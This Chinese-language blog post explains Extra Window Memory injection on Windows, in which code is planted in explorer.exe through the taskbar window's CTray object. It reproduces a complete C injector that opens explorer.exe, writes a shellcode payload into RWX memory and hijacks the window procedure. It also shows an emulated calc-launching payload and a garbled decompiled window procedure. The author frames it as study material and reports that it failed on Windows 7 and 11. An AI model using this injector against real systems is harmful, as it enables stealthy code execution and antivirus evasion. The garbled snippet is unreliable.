进程注入之Extra Window Memory(额外窗口内存)注入——利用用户自定义的数据注入恶意代码

发布时间 2023-09-21 11:36:12作者: bonelee

Extra Window Memory(额外窗口内存)注入是一种在Windows环境下隐藏恶意代码的技术。这种技术的基本思想是利用Windows的窗口子系统(Window Subsystem)中的一个特性:每个窗口都可以有一段额外的内存,这段内存可以用来存储用户自定义的数据。

在Extra Window Memory注入中,攻击者首先找到一个目标窗口,然后将恶意代码写入到这个窗口的额外内存中。然后,攻击者修改这个窗口的窗口过程(Window Procedure),使得它指向恶意代码。当这个窗口收到一个消息时,Windows会调用窗口过程来处理这个消息,这样就会执行恶意代码。

以下是一个简单的例子:

1. 找到目标窗口:攻击者可以使用FindWindow函数来找到一个目标窗口。例如,攻击者可以找到"Shell_TrayWnd"窗口,这个窗口是Windows任务栏的窗口。

2. 写入恶意代码:攻击者可以使用SetWindowLongPtr函数来将恶意代码写入到目标窗口的额外内存中。

3. 修改窗口过程:攻击者可以使用SetWindowLongPtr函数来修改目标窗口的窗口过程,使得它指向恶意代码。

4. 触发恶意代码:攻击者可以使用PostMessage函数来向目标窗口发送一个消息,这会触发窗口过程,从而执行恶意代码。

这种技术的优点是,它可以绕过大多数杀毒软件的检测,因为恶意代码并没有真正写入到磁盘中,而是隐藏在Windows的窗口子系统中。此外,由于窗口过程是Windows的正常机制,所以这种技术不需要使用任何特权或者漏洞。

然而,这种技术也有一些限制。首先,它只能在支持窗口子系统的Windows版本中使用,例如Windows XP和更高版本。其次,由于它涉及到Windows的内部机制,所以实现起来比较复杂。最后,由于这种技术已经被广泛地公之于众,所以一些高级的杀毒软件可能已经能够检测到这种攻击。

 

我们的示例代码如下:

 

/**
  Copyright © 2018 Odzhan. All Rights Reserved.

  Redistribution and use in source and binary forms, with or without
  modification, are permitted provided that the following conditions are
  met:

  1. Redistributions of source code must retain the above copyright
  notice, this list of conditions and the following disclaimer.

  2. Redistributions in binary form must reproduce the above copyright
  notice, this list of conditions and the following disclaimer in the
  documentation and/or other materials provided with the distribution.

  3. The name of the author may not be used to endorse or promote products
  derived from this software without specific prior written permission.

  THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
  IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
  ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
  POSSIBILITY OF SUCH DAMAGE. */

#define UNICODE

#include <windows.h>
#include <tlhelp32.h>

#include <stdio.h>

#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shell32.lib")

  // extra window memory bytes for Shell_TrayWnd
typedef struct _ctray_vtable {
	ULONG_PTR vTable;    // change to remote memory address
	ULONG_PTR AddRef;    // add reference
	ULONG_PTR Release;   // release procedure
	ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

typedef struct _ctray_obj {
	CTray *vtbl;
} CTrayObj;

DWORD readpic(PWCHAR path, LPVOID *pic) {
	HANDLE hf;
	DWORD  len, rd = 0;

	// 1. open the file
	hf = CreateFile(path, GENERIC_READ, 0, 0,
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	if (hf != INVALID_HANDLE_VALUE) {
		// get file size
		len = GetFileSize(hf, 0);
		// allocate memory
		*pic = malloc(len + 16);
		// read file contents into memory
		ReadFile(hf, *pic, len, &rd, 0);
		CloseHandle(hf);
	}
	return rd;
}

VOID extraBytes(LPVOID payload, DWORD payloadSize) {
	LPVOID    cs, ds;
	CTray     ct;
	ULONG_PTR ctp;
	HWND      hw;
	HANDLE    hp;
	DWORD     pid;
	SIZE_T    wr;

	// 1. Obtain a handle for the shell tray window
	hw = FindWindow(L"Shell_TrayWnd", NULL);

	// 2. Obtain a process id for explorer.exe
	GetWindowThreadProcessId(hw, &pid);

	// 3. Open explorer.exe
	hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	// 4. Obtain pointer to the current CTray object
	ctp = GetWindowLongPtr(hw, 0);

	// 5. Read address of the current CTray object
	ReadProcessMemory(hp, (LPVOID)ctp,
		(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);

	// 6. Read three addresses from the virtual table
	ReadProcessMemory(hp, (LPVOID)ct.vTable,
		(LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);

	// 7. Allocate RWX memory for code
	cs = VirtualAllocEx(hp, NULL, payloadSize,
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	// 8. Copy the code to target process
	WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

	// 9. Allocate RW memory for the new CTray object
	ds = VirtualAllocEx(hp, NULL, sizeof(ct),
		MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// 10. Write the new CTray object to remote memory
	ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
	ct.WndProc = (ULONG_PTR)cs;

	WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);

	// 11. Set the new pointer to CTray object
	SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);

	// 12. Trigger the payload via a windows message
	PostMessage(hw, WM_CLOSE, 0, 0);

	// 13. Restore the original CTray object
	SetWindowLongPtr(hw, 0, ctp);

	// 14. Release memory and close handles
	VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
	VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

	CloseHandle(hp);
}

int main(void) {
	PWCHAR   *argv;
	int      argc;
	LPVOID   payload;
	DWORD    payloadSize;

	// get parameters
	argv = CommandLineToArgvW(GetCommandLine(), &argc);

	// argv[1] = L"D:\\data\\payload.bin";
	// if (argc != 2) { wprintf(L"usage: T1181-EWMI <payload>\n"); return 0; }

	payloadSize = readpic((WCHAR*)L"D:\\data\\payload.bin", &payload);
	if (payloadSize == 0) { wprintf(L"unable to read from %s\n", argv[1]); return 0; }

	extraBytes(payload, payloadSize);
	return 0;
}

  

payload.bin的shellcode可以从这里获取:https://github.com/wojtekgoo/Infosec/blob/master/T1181%20-%20Extra%20Window%20Memory%20Injection/T1181%20-%20EWMI.c

为了看到shellcode的执行,我们使用speakeasy模拟下:

D:\data>speakeasy -t payload.bin -r -a x64
* exec: shellcode
0x1044: 'kernel32.WinExec("cmd /c calc", 0x5)' -> 0x20
* Finished emulating

 

可以看到就是弹出计算器。因为是一个Window Procedure,代码应该是如下的样子:

LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,
	WPARAM wParam, LPARAM lParam)
{
	// igone messages other than WM_CLOSE
	if (uMsg != VM_CLOSE) return 0;
	WinExec_t pWinExec;
	DWORD   szWinExec[2];
	szCalc[2];

	// WinExec 
	szWinExec[0] = 0x456E6957
		szWinExec[1] = 0x00636578
		// calc 
		szCalc[0] = 0x636X6163
		szCalc[1] = 0;
	pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
	if (pWinExec != NULL) {
		pWinExec((LPSTR)szCalc, SH_SHOW);
	}
	return 0;
}

参考:https://unprotect.it/technique/extra-window-memory-injection/

 

代码说明:

注意:"Shell_TrayWnd"是Windows操作系统中任务栏窗口的类名。任务栏窗口包含了开始按钮、系统托盘、时钟等元素。在Windows编程中,我们可以通过这个类名来获取任务栏窗口的句柄,然后对任务栏窗口进行操作。

在这个Extra Window Memory注入的例子中,"Shell_TrayWnd"窗口被用作注入恶意代码的目标窗口。通过调用FindWindow函数并传入"Shell_TrayWnd"作为参数,我们可以获取任务栏窗口的句柄。然后,我们可以使用GetWindowLongPtr函数来获取这个窗口的额外窗口内存,然后将恶意代码写入到这个内存中。

注意:对"Shell_TrayWnd"窗口的操作可能需要管理员权限,因为这个窗口是由系统进程(explorer.exe)创建的。

 

 

在Extra Window Memory注入的例子中,GetWindowLongPtr函数被用来获取"Shell_TrayWnd"窗口的额外窗口内存。这个内存被用来存储CTray对象,这个对象包含了窗口过程的地址。通过修改这个地址,攻击者可以将窗口过程指向恶意代码,从而在窗口收到消息时执行恶意代码。

例如,以下代码获取了"Shell_TrayWnd"窗口的额外窗口内存的地址:

ULONG_PTR ctp = GetWindowLongPtr(hw, 0); 

在这段代码中,hw是"Shell_TrayWnd"窗口的句柄,0是额外窗口内存的偏移量。GetWindowLongPtr函数返回这个内存的地址,然后这个地址被存储在ctp变量中。

 

在这个代码中,CTray对象是一个自定义的数据结构,它用来表示Windows任务栏窗口("Shell_TrayWnd")的额外窗口内存。这个内存被用来存储一个虚拟表(vtable),这个虚拟表包含了一些函数指针,这些函数指针指向窗口过程和其他一些函数。
CTray对象的定义如下:

typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;    // add reference
    ULONG_PTR Release;   // release procedure
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

在这个定义中,vTable是虚拟表的地址,AddRef和Release是两个函数指针,它们分别指向添加引用和释放引用的函数,WndProc是窗口过程的地址。

在Extra Window Memory注入的过程中,攻击者首先获取原始的CTray对象,然后创建一个新的CTray对象,将新的CTray对象的WndProc字段设置为恶意代码的地址,然后将新的CTray对象写入到额外窗口内存中(核心)。这样,当窗口收到一个消息时,Windows会调用新的窗口过程,从而执行恶意代码。


注意:这个CTray对象的定义是基于Windows的内部实现,这个实现可能会在不同版本的Windows中有所不同。在使用这个对象时,你需要确保你的代码能够正确地处理这些差异。

 

写在最后:无论是在win7还是我的win11下,上述代码运行都是弹出如下关闭windows的窗口,没有弹出计算器。所以应该是windows修复了这个bug。

 

 

当然,我看到:https://modexp.wordpress.com/2018/08/26/process-injection-ctray/ 这里面也提到了一点:像这样针对窗口对象的注入方法通常属于“Shatter”攻击的类别。尽管随 Windows Vista 版本引入的用户界面权限隔离 (UIPI) 提供了缓解措施,但这种注入方法在最新版本的 Windows 10 上仍然可以正常工作。

 

而在attck的攻击矩阵里,看到该攻击手法也只有很早的两个案例(2013年的),我追踪到其收录的链接里也没有专门介绍这种注入技术的详细说明。

 从我的感受看来,这种攻击技术已经过时,在实际检测场景应用会较少。